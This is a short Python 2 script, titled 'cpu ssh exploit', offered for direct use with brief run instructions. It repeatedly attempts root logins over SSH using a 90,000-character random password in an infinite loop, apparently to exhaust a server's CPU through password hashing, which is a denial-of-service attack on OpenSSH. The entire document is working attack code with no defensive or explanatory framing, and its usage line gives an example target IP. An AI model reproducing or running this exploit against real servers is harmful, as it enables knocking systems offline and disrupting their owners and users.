cpu ssh exploit

//////////////////////////
save as .py  put the servers ip in the location of this file where the ip is   sudo python file location

import sys
from random import choice
from string import lowercase

try:
    import paramiko
except ImportError:
    print "[-] python module 'paramiko' is missing, Install paramiko with" \
          " following command 'sudo pip install paramiko'"
    sys.exit(0)


class ssh_exploit:

    def __init__(self):
        """
        Initialise the objects
        """

    def ssh_login(self, remote_ip):

        try:
            # Crafted password of length 90000
            passwd_len = 90000
            crafted_passwd = "".join(choice(lowercase)
                                     for i in range(passwd_len))

            # Connect to a remote machine via ssh
            ssh = paramiko.SSHClient()
            ssh.load_system_host_keys()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            # calling connect in infinite loop
            print "[+] Entering infinite loop"
            while 1:
                ssh.connect(remote_ip, username='root',
                            password=crafted_passwd)

        except Exception, msg:
            print "Error in connecting to remote host : ", remote_ip
            print "Exception in : ssh_login method."
            sys.exit(msg)


def main():

    if len(sys.argv) != 2:
        print "usage: python openssh_crypt_cpu.py  121.125.76.90"
        sys.exit()

    # Calling ssh_connect
    ref_obj = ssh_exploit()
    ref_obj.ssh_login(sys.argv[1])


if __name__ == "__main__":
    main()